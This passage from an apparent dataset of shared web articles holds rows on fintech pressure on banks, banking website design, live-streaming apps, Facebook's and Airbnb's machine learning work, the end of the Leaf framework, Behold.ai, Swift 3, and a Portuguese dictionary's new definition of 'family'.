incumbent banks are at risk of losing important customer transaction data and client relationships."" These competitors are a potential threat to incumbent banks due to their technical, financial and market strengths. Blockchain could be a catalyst for transforming legacy infrastructures .Payment innovations have mostly focused on the user experience at the point of sale, while continuing to rely on the existing backbone payment infrastructures.But over time, blockchain technologies could start replacing these legacy, proprietary infrastructures with distributed shared infrastructures more appropriate for dealing with the huge scalability and security challenges of the digital economy. Blockchain could be ""a catalyst for the transformation of many existing legacy systems that operate with a high degree of robustness but may not be the most cost or capital efficient way of doing business."" But blockchain is still at the bleeding edge , lacking the robustness of legacy payment systems. Banks face an Uber Moment .As Jonathan Larsen , - Citi's Global Head of Retail Banking, - said:""The future of the branches is about advisory and consultation rather than transactions... clients over time will move almost entirely to mobile channels.Banks will look like Uber.Uber has nothing to do with cars. It created an entirely new user experience.It tracks all your transaction histories, expenses, drivers' ratings and so on.It created needs you never had."" ""What it means to banks is first and foremost the centrality of mobile as the main channel of interaction between customers and the bank.More importantly, there is a diminishing return on physical assets - especially the branch network.I won't say that banks won't have a balance sheet in the future, but the way customers interface with the bank will be revamped."" The diminishing importance of physical branches, the explosive growth of the mobile Internet, and increased competition from FinTech startups are putting huge pressure on banks, - leading to a kind of Uber moment , when technology is making the old ways of doing business obsolete.To survive, banks will be compelled to embrace many of the FinTech innovations introduced by startups and staffing levels could decline by up to 30% over the next 10 years. ""The death of banks has been much foretold in recent decades,"" most notably by Bill Gates in a 1994 where he argued ""that the world needed banking services but not necessarily banks..."" Since then, ""we have seen digital disruption fundamentally erode value across many industries including: music sales, video rentals, travel booking, and newspapers. In each of these cases, incumbents either transformed or became marginalized."" Is the digital revolution finally reaching the banking industry? Will incumbent banks embrace FinTech innovations before FinTech startups gain scale and distribution? How will it all play out, - fierce competition, an increasing number of partnerships, or some combination of both? There are so many factors at play, that it's extremely difficult to predict how this digital disruption will play out over the years. But, as Citi's report says in its very title, all the signs seem to indicate that ""FinTech is [Finally] Forcing Banking to a Tipping Point.""",en
1462816920,CONTENT SHARED,7516228655554309785,-3390049372067052505,-8729604331807064886,,,,HTML,http://www.mckinsey.com/industries/financial-services/our-insights/a-digital-crack-in-bankings-business-model,A digital crack in banking's business model,"Low-cost attackers are targeting customers in lucrative parts of the sector. The rise of digital innovators in financial services presents a significant threat to the traditional business models of retail banks. Historically, they have generated value by combining different businesses, such as financing, investing, and transactions, which serve their customers' broad financial needs over the long haul. Banks offer basic services, such as low-cost checking, and so-called sticky customer relationships allow them to earn attractive margins in other areas, including investment management, credit-card fees, or foreign-exchange transactions. Why Goldman is banking on the cloud To better understand how attackers could affect the economics of banks, we disaggregated the origination and sales component from the balance-sheet and fulfillment component of all banking products. Our research (exhibit) shows that 59 percent of the banks' earnings flow from pure fee products, such as advice or payments, as well as the origination, sales, and distribution component of balance-sheet products, like loans or deposits. In these areas, returns on equity (ROE) average an attractive 22 percent. That's much higher than the 6 percent ROE of the balance-sheet provision and fulfillment component of products (for example, loans), which have high operating costs and high capital requirements. Digital start-ups (fintechs)-as well as big nonbank technology companies in e-retailing, media, and other sectors-could exploit this mismatch in banking's business model. Technological advances and shifts in consumer behavior offer attackers a chance to weaken the heavy gravitational pull that banks exert on their customers. Many of the challengers hope to disintermediate these relationships, slicing off the higher-ROE segments of banking's value chain in origination and sales, leaving banks with the basics of asset and liability management. It's important that most fintech players (whether start-ups or China's e-messaging and Internet-services provider Tencent) don't want to be banks and are not asking customers to transfer all their financial business at once. They are instead offering targeted (and more convenient) services. The new digital platforms often allow customers to open accounts effortlessly, for example. In many cases, once they have an account, they can switch among providers with a single click. Platforms such as NerdWallet (in the United States) or India's BankBazaar.com aggregate the offerings of multiple banks in loans, credit cards, deposits, insurance, and more and receive payment from the banks for generating new business. Wealthfront targets fee-averse millennials who favor automated software over human advisers. Lending Home targets motivated investment-property buyers looking for cost-effective mortgages with accelerated time horizons. Moneysupermarket.com started with a single product springboard-consumer mortgages-and now not only offers a range of financial products but serves as a platform for purchases of telecom and travel services, and even energy. Across the emerging fintech landscape, the customers most susceptible to cherry-picking are millennials, small businesses, and the underbanked-three segments particularly sensitive to costs and to the enhanced consumer experience that digital delivery and distribution afford. For instance, Alipay, the Chinese payments service (a unit of e-commerce giant Alibaba), makes online finance simpler and more intuitive by turning savings strategies into a game and comparing users' returns with those of others. It also makes peer-to-peer transfers fun by adding voice messages and emoticons. From an incumbent's perspective, emerging fintechs in corporate and investment banking (including asset and cash management) appear to be less disruptive than retail innovators are. A recent McKinsey analysis showed that most of the former, notably those established in the last couple of years, are enablers, serving banks directly and often seeking to improve processes for one or more elements of banking's value chain. Why partnerships are appealing Read the article Many successful attackers in corporate and investment banking, as well as some in retail banking, are embracing ""coopetition,"" finding ways to become partners in the ecosystems of traditional banks. These fintechs, sidestepping banking basics, rely on established institutions and their balance sheets to fulfill loans or provide the payments backbone to fulfill credit-card or foreign-exchange transactions. With highly automated, scalable, software-based services and no physical-distribution expenses (such as branch networks), these attackers gain a significant cost advantage and therefore often offer more attractive terms than banks' websites do. They use advanced data analytics to experiment with new credit-scoring approaches and exploit social media to capture shifts in customer behavior. Attackers must still overcome the advantages of traditional banks and attract their customers. (See the sidebar for the story of how one financial incumbent, Goldman Sachs, is using digitization to strengthen its core businesses.) Most fintechs, moreover, remain under the regulatory radar today but will attract attention as they reach meaningful scale. That said, the rewards for digital success are huge. Capturing even a tiny fraction of banking's more than $1 trillion profit pool could generate massive returns for the owners and investors of these start-ups. Little wonder there are more than 12,000 of them on the prowl today. For more on digital banking, see The fight for the customer: McKinsey Global Banking Annual Report 2015 and "" Cutting through the noise around financial technology ."" About the author(s) Miklos Dietz is a director in McKinsey's Vancouver office, Philipp Härle is a director in the London office, and Somesh Khanna is a director in the New York office. The authors would like to acknowledge the contributions of Christopher Manzingo, Asheet Mehta, and Miklos Radnai to this article.",en
1462826474,CONTENT SHARED,5468598741732935699,-48161796606086482,-5842610244124223513,,,,HTML,http://thefinancialbrand.com/58640/35-innovative-inspirational-banking-websites/,35 Innovative and Inspirational Website Designs in Banking,"Ten years ago, most websites in the banking industry were pretty ugly. Functional? Yes. Attractive? No. How times have changed since. There are still plenty of really homely websites out there, and some are downright hideous. But the banking industry has come a long way - both in terms of its visual aesthetic and the user experience. Here's a collection of websites that caught The Financial Brand's eye in the last few months. What stands out to us? All the junk and noise that plagued earlier versions of websites is gone. The navigation is simpler, and the amount of information presented on the home page has been significantly pared back. Generally, most of the sites featured here have fewer than 150 words total on the page (including navigation links). They rely heavily on evocative imagery to create a visually striking impression. All are responsive, and a few even incorporate parallax scrolling. Perhaps the biggest trend emerging is that the design style is inspired from - if not entirely driven by - the mobile browsing experience. You can click on any image to enlarge it. You can also click on the financial institution's name to visit their website. Load them up and play with them. Have fun! Join over 1,000 of the brightest minds in banking at The Financial Brand Forum 2016 - May 16-17 at the Cosmopolitan of Las Vegas - for three days jam-packed with the latest trends, biggest ideas and innovative techniques that are transforming the industry today. Registration is closing soon, so hurry! Register now before it's too late. All content © 2016 by The Financial Brand and may not be reproduced by any means without permission.",en
1462831749,CONTENT SHARED,10247031220756478,3217014177234377440,2143039396990920040,,,,HTML,http://www.practicalecommerce.com/articles/122843-12-Apps-for-Live-streaming-Video,[Tools] 12 Apps for Live-streaming Video,"Live-streaming video is latest frontier of social media. Established social networks (e.g., Facebook, Twitter) have their own apps, while first-movers in the space (e.g., Meerkat) are busily trying to differentiate themselves. Live-stream content ranges from impromptu video blogging to produced efforts by industry veterans. For small businesses, live-streaming video may be a helpful, new way to engage an audience and establish a brand with little or no cost. Here is a list of live-streaming video apps. There are fun, live-streaming apps to connect with and update followers, and there are live-video platforms with advanced production and lead-generation tools. Many of these apps are free. Facebook Live lets people, public figures, and Pages share live video with followers and friends on Facebook. Interact with viewers in real time. Field their burning questions, hear what's on their minds, and check out their Live Reactions to gauge how your broadcast is going. Followers can receive notifications when you go live so they know to tune in to your broadcasts at just the right time. Price: Free. - Periscope is Twitter's live-streaming app. Going live will instantly notify your followers, who can join, comment, and send you hearts in real-time. When your broadcast is over, make it available for replay so viewers can watch later. Replays currently last 24 hours. Delete your replay at any time. Broadcast to specific people, or share on Twitter. Price: Free. - Streamup is a fun way to live stream interactive shows. Streamup recently announced its first slate of live-streaming originals in an effort to become a live television network for the Internet generation. Go live right from the app, or stream like a pro by using an encoder for cool special effects, overlays, filters, and more. Become a partner to start earning revenue from your streams. Streamup's president and chief content officer is Will Keenan, an alum of two video producers: Maker Studios and Endemol Beyond USA. Price: Free. - YouNow is another fun app for interactive live-stream videos. Chat and promote content - followers can even buy gifts for their favorite broadcasters. YouNow recently launched original content with two food-related shows, including one with Roker Labs, spearheaded by Today co-host Al Roker. Price: Free. - Hang w/ is a live-streaming platform for access to people, places, events, and moments. With plenty of celebrity endorsements, Hang w/ has over one million users and three million live broadcasts. Hang w/ is running a Crowdfunder campaign to raise capital. Price: Free. - Livestream is a platform to broadcast to millions. Livestream also offers hardware, software, and production products for a complete end-to-end solution. Broadcast live from your iPhone or iPad to viewers watching on Facebook, Twitter, Livestream, or any other website. Engage with viewers via the built-in chat. Monitor audience engagement with proprietary analytics. Price: Basic plan is $42 per month. - Stringwire is an app to share event-driven live video in real-time. If you encounter a story, use Stringwire to stream live video. Collaborate with others to tell stories with live video from multiple perspectives. Viewers can chat and search through video to find out what's happening live. All streamed video is automatically stored online for future viewing and sharing. Price: Free. - Ustream is an online and live-streaming platform for broadcasters, teams, and marketers. The platform hosts over two million live videos every month, including NASA TV and BusinessBlueprint.com , a 24-hour business channel. The platform also includes a variety of videos on getting started, tracking your progress, and generating leads. Add graphics, presentations, guests, and more. Get video production and on-site support for premium events. Price: Plans start at $99 per month. - Nom is from YouTube co-founder Steve Chen. Launched at South by Southwest, the live-streaming platform has a foodie bent, but Nom supports all live video. Insert rich content, such as recorded video clips, GIFs, and photos. In addition to shows, users can post photographs, produced videos, and blog posts or articles to each channel. Price: Free. - Meerkat is working on something new. Recently CEO and founder Ben Rubin posted an update outlining the difficulties the live-streaming app has faced against platforms like Twitter-Periscope and Facebook Live. Currently, Meerkat is still a stable live-streaming app to broadcast video to your followers. But the first-mover in live-streaming is presumably getting ready to break out in a new way, which could make it a good place to stream. Price: Free. - Snapchat Live Stories are compilations of snaps from snapchatters at events and locations around the world. Live Stories are curated by Snapchat, and typically appear for 24 hours. If you're in the location of a Live Story, you can submit snaps. Snapchat also supports video chat. Look for Snapchat to develop increased live-streaming functionality. Price: Free. - According to VentureBeat , Google is building YouTube Connect, a live-streaming app to take on Periscope and Facebook Live. The app will include chat, tagging, and news-feed features to engage and promote your live content with followers. YouTube already offers live streaming through its Creative Studio, but YouTube Connect will certainly reach a broader audience. Price: Free. -",en
1462834687,CONTENT SHARED,-4615179238096674750,3915038251784681624,-1822737785221316749,,,,HTML,http://cio.com.br/opiniao/2016/05/09/sua-empresa-ja-tem-um-201copen-innovation-lab201d/,"Sua empresa já tem um ""Open Innovation Lab"" ? - CIO","Devem brotar, por dia, centenas de artigos nas mídias de tecnologia falando sobre as maravilhas da transformação digital. Esse é mais um deles. Só que nesse artigo vou explorar um outro lado da transformação digital. Nada de falar sobre a importância da tecnologia, ou sobre a democratização do mundo de Apps e Redes Sociais. Vou falar do pilar número um da transformação digital, que alego serem as pessoas. São as pessoas que criam a inovação, e essa inovação é focada em transformar as vidas das próprias pessoas. Há 4 anos atrás Scott Anthony em seu artigo ""The New Corporate Garage"" da Harvard Business Review atestou que: ""... as inovações serão mais relacionadas a redesenho de modelos de negócios do que breakthroughs tecnológicos."" É fato. Analisando a história da inovação vemos sempre presente o papel humano. No início do século XX, a inovação tinha a assinatura do inventor e assim ficaram marcados pela história Edison, Gutenberg e outros. Com a evolução tecnológica iniciando seu caminho, como o estabelecimento da linha de produção, a inovação passou a necessitar de investimentos corporativos, e as grandes empresas passaram a liderar nesse campo. Os inovadores estavam livres e com as ferramentas necessárias para criar dentro dessas grandes empresas. Mas chegando à metade do século passado, as empresas começaram a ficar muito burocráticas, e as mentes inovadoras começaram a se rebelar e procurar formas de manter a chama criativa da inovação viva. Essas pessoas saíram das grandes empresas e com o apoio dos Venture Capitalists fundaram novos negócios. Nos anos 70, essa tendência ganhou enorme escala. Vários VCs buscavam inovadores e seus sonhos de transformar o mundo. Chegamos ao início do século 21, o boom das startups chegou à sua maturidade. Não adianta mais ter apenas um modelo de negócios inovador e fazer uso das tecnologias mais recentes, agora é preciso conseguir ser mais rápido e se proteger das várias startups que vão surgir copiando seu modelo de negócios. Hoje, o quadro coloca as grandes empresas novamente no páreo da inovação. Ao ver inúmeras mentes brilhantes saindo para inovar em outros lugares, as grandes empresas entenderam que podem fazer essa inovação acelerada dentro de casa. Surge o personagem do Corporate Catalyst, que lidera o discurso de inovação dentro das grandes empresas. Surge também o conceito de Open Innovation, onde as grandes empresas criam o ambiente para a aglutinação de inovadores, catalysts, dentro de casa. Os inovadores são dos mais variados perfis e possuem conhecimentos distintos. Juntos eles fazem design thinking, montando mapas de empatia, jornadas de usuários, mapas de proposição de valor, mapas de modelos de negócios. Juntos eles discutem, criam, cocriam, prototipam, pivotam ou escalam um novo modelo de negócios. Juntos eles transformam a experiência do usuário e criam novas formas disruptivas de se fazer as coisas. Esses ambientes criados pelas grandes empresas unem todo o aprendizado de mais de cem anos de inovação da humanidade. São seres deste ecossistema: universitários, startups, cientistas, executivos de negócios, técnicos da indústria, VC's, evangelistas de tecnologia, e outros. Isso implica que a inovação não deve estar limitada às fronteiras da empresa. Ela precisa estar aberta para o mundo. O poder do crowdsourcing confirma a máxima que duas cabeças pensam melhor que uma. Os chamados ""Open Innovation Labs"" são os verdadeiros parques de diversões para gerar a nova onda de inovações e marcar para a história nossa década. Enfim, se você está em uma grande empresa lendo este artigo e sente que pode fazer muito mais do que está em seu job description. Se você entende de modelo de negócios, ou simplesmente vê formas mais criativas e inteligentes de fazer as coisas. Se você questiona porque uma regra de 40 anos não pode se transformar ou se ajustar para a realidade que vivemos hoje. Enfim, se você realmente quer um mundo melhor, seja você parte desta transformação. Torne-se um Corporate Catalyst e mude o mundo aí mesmo onde você se encontra, na sua empresa. (*) Henrique von Atzingen é executivo de Mobilidade da IBM Brasil",pt
1462848304,CONTENT SHARED,6237433897543964784,-1443636648652872475,1834840117883794874,,,,HTML,http://venturebeat.com/2016/05/09/facebook-details-its-company-wide-machine-learning-platform-fblearner-flow/,"Facebook details its company-wide machine learning platform, FBLearner Flow","Facebook today is talking for the first time about FBLearner Flow, a piece of software that manages machine learning models for employees throughout the social networking company. It's similar in some ways to cloud-based machine learning services like Microsoft's Azure Machine Learning , or the open-source Airflow from Airbnb, but it's optimized for Facebook's own infrastructure and filled with algorithms developed by Facebook engineers, so that many other people inside the company can make use of them for their own models. ""More than 25 percent of the company are using it, in scenarios that we haven't really envisioned before,"" Hussein Mehanna, director of Facebook's Core Machine Learning Group, told VentureBeat in an interview. Facebook could go beyond just publishing academic papers on FBLearner Flow; the company may well end up open-sourcing it. Facebook engineers have discussed this type of technology with people at LinkedIn, Twitter, and Uber, and they've all been excited about it, Mehanna said. It would be an open-source option that has been proven to work at Facebook scale, and it wouldn't cost money, unlike data science collaboration tools from the likes of Domino Data Lab and Yhat. Facebook regularly builds and sometimes open-sources technology that's perfect for its own needs, so it would not be a surprise to see that happen to FBLearner Flow, too. It's just a question of Facebook wants to devote the engineering resources to decoupling the technology from Facebook's proprietary systems. Then again, it wouldn't be surprising to see Facebook keep FBLearner Flow to itself, given how much more productive employees have become thanks to the technology since engineers started building the new system in late 2014. It could be a competitive advantage. The new system lets people see past experiments, results, and even combine two separate machine learning pipelines to come up with something more complex. And a graphical user interface allows non-engineers to use it - hence Mehanna's 25 percent figure. Perhaps in the future FBLearner Flow could become even more powerful if idle compute resources could be made to improve machine learning models, Mehanna said. So Facebook has been investing in an area known as AutoML, which essentially makes a bot go to work for Facebook's own purposes. It could even be pointed at data to unearth the best possible machine learning model for it. Which, when you think about it, is a little meta and potentially very impactful. For much more detail on FBLearner Flow, check out today's blog post from Facebook software engineer Jeffrey Dunn. More : MobileBeat 2016 is focused on the paradigm shift from apps to AI, messaging, and chatbots. Don't miss this opportunity: July 12 and 13 in San Francisco.",en
1462854683,CONTENT SHARED,-5024561776910686117,-8020832670974472349,6591589950888064394,,,,HTML,https://medium.com/airbnb-engineering/how-airbnb-uses-machine-learning-to-detect-host-preferences-18ce07150fa3,How Airbnb uses Machine Learning to Detect Host Preferences - Airbnb Engineering & Data Science,"At Airbnb we seek to match people who are looking for accommodation - guests - with those looking to rent out their place - hosts. Guests reach out to hosts whose listings they wish to stay in, however a match succeeds only if the host also wants to accommodate the guest. I first heard about Airbnb in 2012 from a friend. He offered his nice apartment on the site when he traveled to see his family during our vacations from grad school. His main goal was to fit as many booked nights as possible into the 1-2 weeks when he was away. My friend would accept or reject requests depending on whether or not the request would help him to maximize his occupancy. About two years later, I joined Airbnb as a Data Scientist. I remembered my friend's behavior and was curious to discover what affects hosts' decisions to accept accommodation requests and how Airbnb could increase acceptances and matches on the platform. What started as a small research project resulted in the development of a machine learning model that learns our hosts' preferences for accommodation requests based on their past behavior. For each search query that a guest enters on Airbnb's search engine, our model computes the likelihood that relevant hosts will want to accommodate the guest's request. Then, we surface likely matches more prominently in the search results. In our A/B testing the model showed about a 3.75% increase in booking conversion, resulting in many more matches on Airbnb. In this blog post I outline the process that brought us to this model. What affects hosts' acceptance decisions? I kicked off my research into hosts' acceptances by checking if other hosts maximized their occupancy like my friend. Every accommodation request falls in a sequence or in a window of available days in the calendar, such as on April 5-10 in the calendar shown below. The gray days surrounding the window are either blocked by the host or already booked. If accepted and booked, a request may leave the host with a sub-window before the check-in date (check-in gap - April 5-7) and/or a sub-window after the check-out (check-out gap - April 10). A host looking to have a high occupancy will try to avoid such gaps. Indeed, when I plotted hosts' tendency to accept over the sum of the check-in gap and the check-out gap (3+1= 4 in the example above), as in the next plot, I found the effect that I expected to see: hosts were more likely to accept requests that fit well in their calendar and minimize gap days. But do all hosts try to maximize occupancy and prefer stays with short gaps? Perhaps some hosts are not interested in maximizing their occupancy and would rather host occasionally. And maybe hosts in big markets, like my friend, are different from hosts in smaller markets. Indeed, when I looked at listings from big and small markets separately, I found that they behaved quite differently. Hosts in big markets care a lot about their occupancy - a request with no gaps is almost 6% likelier to be accepted than one with 7 gap nights. For small markets I found the opposite effect; hosts prefer to have a small number of nights between requests. So, hosts in different markets have different preferences, but it seems likely that even within a market hosts may prefer different stays. A similar story revealed itself when I looked at hosts' tendency to accept based on other characteristics of the accommodation request. For example, on average Airbnb hosts prefer accommodation requests that are at least a week in advance over last minute requests. But perhaps some hosts prefer short notice? The plot below looks at the dispersion of hosts' preferences for last minute stays (less than 7 days) versus far in advance stays (more than 7 days). Indeed, the dispersion in preferences reveals that some hosts like last minute stays better than far in advance stays - those in the bottom right - even though on average hosts prefer longer notice. I found similar dispersion in hosts' tendency to accept other trip characteristics like the number of guests, whether it is a weekend trip etc. All these findings pointed to the same conclusion: if we could promote in our search results hosts who would be more likely to accept an accommodation request resulting from that search query, we would expect to see happier guests and hosts and more matches that turned into fun vacations (or productive business trips). In other words, we could personalize our search results, but not in the way you might expect. Typically personalized search results promote results that would fit the unique preferences of the searcher - the guest. At a two-sided marketplace like Airbnb, we also wanted to personalize search by the preference of the hosts whose listings would appear in the search results. How to model host preferences? Encouraged by my findings, I joined forces with another data scientist and a software engineer to create a personalized search signal. We set out to associate hosts' prior acceptance and decline decisions by the following characteristics of the trip: check-in date, check-out date and number of guests. By adding host preferences to our existing ranking model capturing guest preferences, we hoped to enable more and better matches. At first glance, this seems like a perfect case for collaborative filtering  - we have users (hosts) and items (trips) and we want to understand the preference for those items by combining historical ratings (accept/decline) with statistical learning from similar hosts. However, the application does not fully fit in the collaborative filtering framework for two reasons. First, no two trips are ever identical because behind each accommodation request there is a different guest with a unique human interaction that influences the host's acceptance decision. This results in accept/decline labels that are noisier than, for example, the ratings of a movie or a song like in many collaborative filtering applications. Taking this point one step further, a host can receive multiple accommodation requests for the same trip with different guests at different points in time and give those requests conflicting votes. A host may accept last minute stays that start on a Tuesday 2 out of 4 times, and it remains unclear whether the host prefers such stays. With these points in mind, we decided to massage the problem into something resembling collaborative filtering. We used the multiplicity of responses for the same trip to reduce the noise coming from the latent factors in the guest-host interaction. To do so, we considered hosts' average response to a certain trip characteristic in isolation. Instead of looking at the combination of trip length, size of guest party, size of calendar gap and so on, we looked at each of these trip characteristics by itself. With this coarser structure of preferences we were able to resolve some of the noise in our data as well as the potentially conflicting labels for the same trip. We used the mean acceptance rate for each trip characteristic as a proxy for preference. Still our data-set was relatively sparse. On average, for each trip characteristic we could not determine the preference for about 26% of hosts, because they never received an accommodation request that met those trip characteristics. As a method of imputation, we smoothed the preference using a weight function that, for each trip characteristic, averages the median preference of hosts in the region with the host's preference. The weight on the median preference is 1 when the host has no data points and goes to 0 monotonically the more data points the host has. Using these newly defined preferences we created predictions for host acceptances using a L-2 regularized logistic regression. Essentially, we combine the preferences for different trip characteristics into a single prediction for the probability of acceptance. The weight the preference of each trip characteristic has on the acceptance decision is the coefficient that comes out of the logistic regression. To improve the prediction, we include a few more geographic and host specific features in the logistic regression. This flow chart summarizes the modeling technique. We ran this model on segments of hosts on our cluster using a user-generated-function (UDF) on Hive. The UDF is written in Python; its inputs are accommodation requests, hosts' response to them and a few other host features. Depending on the flag passed to it, the UDF either builds the preferences for the different trip characteristics or trains the logistic regression model using scikit-learn. Our main off-line evaluation metric for the model was mean squared error (MSE), which is more appropriate in a setting when we care about the predicted probability more than about classification. In our off-line evaluation of the model we were able to get a 10% decrease in MSE over our previous model that captured host acceptance probability. This was a promising result. But, we still had to test the performance of the model live on our site. Experimenting with the model To test the online performance of the model, we launched an experiment that used the predicted probability of host acceptance as a significant weight in our ranking algorithm that also includes many other features that capture guests' preferences. Every time a guest in the treatment group entered a search query, our model predicted the probability of acceptance for all relevant hosts and influenced the order in which listings were presented to the guest, ranking likelier matches higher. We evaluated the experiment by looking at multiple metrics, but the most important one was the likelihood that a guest requesting accommodation would get a booking (booking conversion). We found a 3.75% lift in our booking conversion and a significant increase in the number of successful matches between guests and hosts. After concluding the initial experiment, we made a few more optimizations that improved conversion by approximately another 1% and then launched the experiment to 100% of users. This was an exciting outcome for our first full-fledged personalization search signal and a sizable contributor to our success. Conclusions First, this project taught us that in a two sided marketplace personalization can be effective on the buyer as well as the seller side. Second, the project taught us that sometimes you have to roll up your sleeves and build a machine learning model tailored for your own application. In this case, the application did not quite fit in the collaborative filtering and a multilevel model with host fixed-effect was too computationally demanding and not suited for a sparse data-set. While building our own model took more time, it was a fun learning experience. Finally, this project would not have succeeded without the fantastic work of Spencer de Mars and Lukasz Dziurzynski. Check out all of our open source projects over at airbnb.io and follow us on Twitter: @AirbnbEng + @AirbnbData",en
1462869081,CONTENT SHARED,-724699218170106849,-1443636648652872475,1834840117883794874,,,,HTML,https://medium.com/@mjhirn/tensorflow-wins-89b78b29aafb,Tensorflow wins,"Tensorflow wins We started with the development of Leaf briefly before Google released Tensorflow . For two weeks Leaf's hypothesis seemed unique. Developers will build machine learning applications, not scientists - let's give developers a tool to do that. Although Leaf has top-notch performance and an uniquely simple yet expressive API, it will lose against Tensorflow. Leaf's current theoretical benefits[1] are less significant, then the benefits that Tensorflow provides[2] over the early, scientific frameworks like Torch, Caffe, Theano. The next generation of tools, that help developers to build machine learning applications will build on Tensorflow, or more specifically on higher-level frameworks, like Keras , who abstract over multiple AI Engines[3]. Back in November, when we started, this trend was less obvious to us[4]. Now that good-enough tools, to build maintainable machine-learning applications, like Tensorflow and Keras, exist, venture capital flows more and more into companies who try to create immense value in verticals with new AI-driven applications, instead of infrastructure providers. We wanted Leaf to become the #1 machine learning framework for developers, but it became apparent, that Leaf will not receive substantial traction outside the Rust community. Which is why Max and I will suspend the development of Leaf and focus on new ventures. I am staying in the space of startups and AI, working with a VC to explore a new type of early stage investment fund. Thank you so much everyone who supported us on the way to more than 4.000 Github stars and almost into Github's Top 1000. We are very grateful. We will continue to give back to the community with our future projects.",en
1462869150,CONTENT SHARED,2917561522815946740,-1443636648652872475,1834840117883794874,,,,HTML,http://techcrunch.com/2016/05/09/behold-ai-launches-artificially-intelligent-medical-software-to-find-abnormalities-faster/,Behold.ai launches artificially intelligent medical software to find abnormalities faster,"Jeet Raut's mom was told she no longer had breast cancer. But it turned out to be a false diagnosis and she had to undergo further treatment. She's okay now, but that medical mistake could have cost her life and it gave Raut the idea to build a better way to catch medical abnormalities in the body. He and his co-founder Peter Wakahiu Njenga created Behold.ai to speed up the process of finding cancers and minimize human error. ""The idea behind Behold.ai is to increase efficiency,"" Raut told TechCrunch. A new report from BMJ puts medical error as the third leading cause of death in the United States. And radiologists must comb through an increasing number of body scans every year - the number has tripled to 149 CT scans per 1,000 patients since 2012. ""Doctors now have more data than ever, but if radiologists had to read every single image they'd never get through them,"" Raut said of the problem. Thanks to advances in machine learning, Raut and Njenga figured they could teach a program to do the same thing, only better and faster. They're an impressive duo - both studied at Columbia and then Njenga went on to UC Berkeley and later worked on Facebook's machine learning team. Raut continued to the University of Illinois at Urbana-Champaign and later Stanford for life extension research the Computers and Cognition Lab. Behold.ai is an outgrowth of both Njenga and Raut's training. It works by feeding the software algorithm hundreds of scans of healthy vs. unhealthy lungs, for example, to teach the program how to identify a problem and then improves on its own over time. How much better is it than a human? Raut admits the accuracy of the algorithm isn't 100 percent. He wasn't sure the number but guessed it was closer to 85 percent. ""We're initially focused on increasing the efficiency of the doctor while helping them maintain accuracy, but down the line we'd like to help them become more accurate,"" he said. There's also the trust factor. Hospitals are notorious for bureaucracy and slow to adopt new technologies. Raut brushes off the suggestion hospitals may not want what he's got and tells me Behold.ai is in talks with several large hospitals for possible partnerships in the near future. Behold.ai will still face stiff competition from IBM Watson and others in the AI space getting in on the medical market and it will need to pass FDA regulations (which no one has been able to do so far, but IBM has been pushing Congress on).",en
1462877372,CONTENT SHARED,357449794379078687,-2623844842607044962,-3655858883651594998,,,,HTML,https://blogdoiphone.com/2016/05/swift-3/,Apple anuncia a 3ª geração da linguagem Swift para o final deste ano,"A linguagem de programação Swift foi anunciada na WWDC de 2014 e prometia a criação de aplicativos mais leves e performáticos, de forma mais fácil e rápida. De fato, caiu no gosto dos desenvolvedores e até o Google já está cogitando adotá-la como linguagem nativa do Android, visto que ela é Open Source (apesar de ser criação da Apple). A maçã anunciou hoje que já está preparando a terceira geração do Swift, a ser lançada definitivamente no segundo semestre deste ano. As novidades prometem ser grandes, pois o código não será mais compatível com o Swift 2. Isso significa, em termos práticos, que dispositivos mais antigos que não recebam o iOS 10 (a ser lançado em setembro) provavelmente não poderão atualizar aplicativos que sejam escritos na nova linguagem. Segundo o blog oficial , está sendo elaborado também um Swift Package Manager , para gerenciar pacotes entre plataformas. No início, este gerenciador estará disponível para Darwin e Linux.",pt
1462879224,CONTENT SHARED,4629488036162962359,6735372008307093370,8326937345177871771,,,,HTML,http://www.brasilpost.com.br/2016/05/09/dicionario-houaiss-palavr_n_9873224.html,"Para rebater Estatuto da Família, campanha muda significado de 'família' no Dicionário Houaiss","Publicado: Uma família pode ser formada por pai, mãe e filhos. Ou duas mães e filhos. Ou dois pais e filhos. Ou apenas uma mãe ou pai e os filhos. Ou avós e netos. Enfim, as possibilidades são inúmeras. Para contemplar esta realidade, o Dicionário Houaiss , um dos principais da língua portuguesa, mudou recentemente o verbete da palavra ""família"". O motivo? Ampliar o significado dela, de modo que contemple as mais diversas formas de família existentes. Antes era assim: família 1. grupo de pessoas vivendo sob o mesmo teto (esp. o pai, a mãe e os filhos) Agora é assim: família 1. núcleo social de pessoas unidas por laços afetivos, que geralmente compartilham o mesmo espaço e mantém entre si uma relação solidária ""Conceitos antigos de repente ganham uma nova estrutura, um novo enfoque, e isso tem que ser captado, com cuidado, para que seja transformado em palavras numa definição"", explicou Mauro Villar , editor do dicionário, em entrevista ao Fantástico , da TV Globo, transmitida no último domingo (9). O Instituto Houaiss, responsável pelo dicionário, se juntou ao projeto Todas as Famílias para a mudança. A campanha, por sua vez, foi elaborada pela parceria entre a Associação Brasileira de Famílias Homoafetivas, a Coordenadoria Especial da Diversidade Sexual do Rio de Janeiro e a agência de publicidade NBS. Trata-se de uma rebatida ao conceito imposto pelo Estatuto da Família , o projeto de lei da bancada evangélica que define família como união heterossexual, apenas. Para escrever o novo texto, a campanha contou com a ajuda de várias famílias Brasil afora, como mostra o vídeo: O Estatuto da Família foi aprovado em comissão especial da Câmara dos Deputados em 2015. Mas se depender de nós e dessas famílias, isso não vai acontecer tão fácil. LEIA MAIS: - Patrícia Abravanel, anormal é o seu preconceito! - 17 coisas que você jurou que NUNCA ia fazer quando fosse mãe (mas fez, é claro) - Mãe dá a MELHOR resposta a desconhecida que a criticou por mimar sua filha",pt
